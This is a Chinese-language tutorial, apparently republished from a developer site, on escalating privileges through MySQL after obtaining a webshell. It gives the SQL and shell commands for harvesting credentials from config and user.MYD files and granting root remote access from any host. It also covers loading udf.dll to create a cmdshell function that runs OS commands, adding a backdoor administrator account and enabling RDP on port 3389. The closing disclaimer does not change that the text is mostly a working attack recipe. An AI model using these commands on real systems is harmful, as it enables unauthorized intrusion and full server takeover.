mysql数据库提权的三种方法
作者:feing.
MySql提权的三种方式:
- udf提权
- mof提权
- 启动项提权
以下是一些常见的数据库及其默认端口:
1. MySQL: 默认端口为 3306
2. PostgreSQL: 默认端口为 5432
3. Oracle Database: 默认端口为 1521
4. Microsoft SQL Server: 默认端口为 1433
5. MongoDB: 默认端口为 27017
6. Redis: 默认端口为 6379
7. Elasticsearch: 默认端口为 9200 (HTTP) 和 9300 (内部通信)
8. Cassandra: 默认端口为 9042
9. SQLite: 通常是本地文件系统,没有固定端口
10. DB2: 默认端口为 50000
11.国产的DM达梦数据库, 默认端口号为:5236;
mysql_UDF 提权:
拿到webshell之后,进行数据库提权操作
一、端口扫描
二、信息收集:
如何获取mysql账号密码
1.查看网站配置文件。
如:conn、config、data、sql、common 、inc、include等。
2.Mysql配置文件:C:\phpStudy\MySQL\data\mysql\user.MYD
例如:DVWA默认数据库存储在:C:/phpStudy/WWW/DVWA/config/config.inc.php.dist目录
点击查看:账号:root 密码:root
查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi
放到MD5在线网站进行解密
三、提权利用
注意事项:提权的第一步要知道数据库的版本号:
(1)如果mysql<5.1 导出目录 c:\windows 或 c:\windows\system32
(2)mysql=>5.1 导出安装目录\MySQL\lib\plugin
注*:默认mysql不能远程连接,需要用菜刀进行本地连接
选择mysql,填写好账号:root 密码root,确认好提交进行连接
设置远程连接,用于在本地连接。 mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root"; mysql> flush privileges; 重新加载权限数据
数据库版本为5.5.53
由于本次实验数据库为5.5.53,因此选择\MySQL\lib\plugin目录。
提示报错
前提条件为:secure_file_priv等于空,需要在my.ini配置文件中进行设置
修改之后,查看安装dll文件完成。
创建cmdshell函数,执行操作系统命令。
Create Function cmdshell returns string soname 'udf.dll';
使用cmdshll函数执行操作系统命令
select cmdshell('whoami'); select cmdshell('net user 123 123/add'); 添加用户 select cmdshell('net localgroup administrators 123 /add'); 将123用户添加到管理组
开3389进行远程连接
Create Function open3389 returns string soname 'udf.dll'; select open3389(); 开启3389远程连接
注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。
到此这篇关于mysql数据库提权的三种方法的文章就介绍到这了,更多相关mysql数据库提权内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!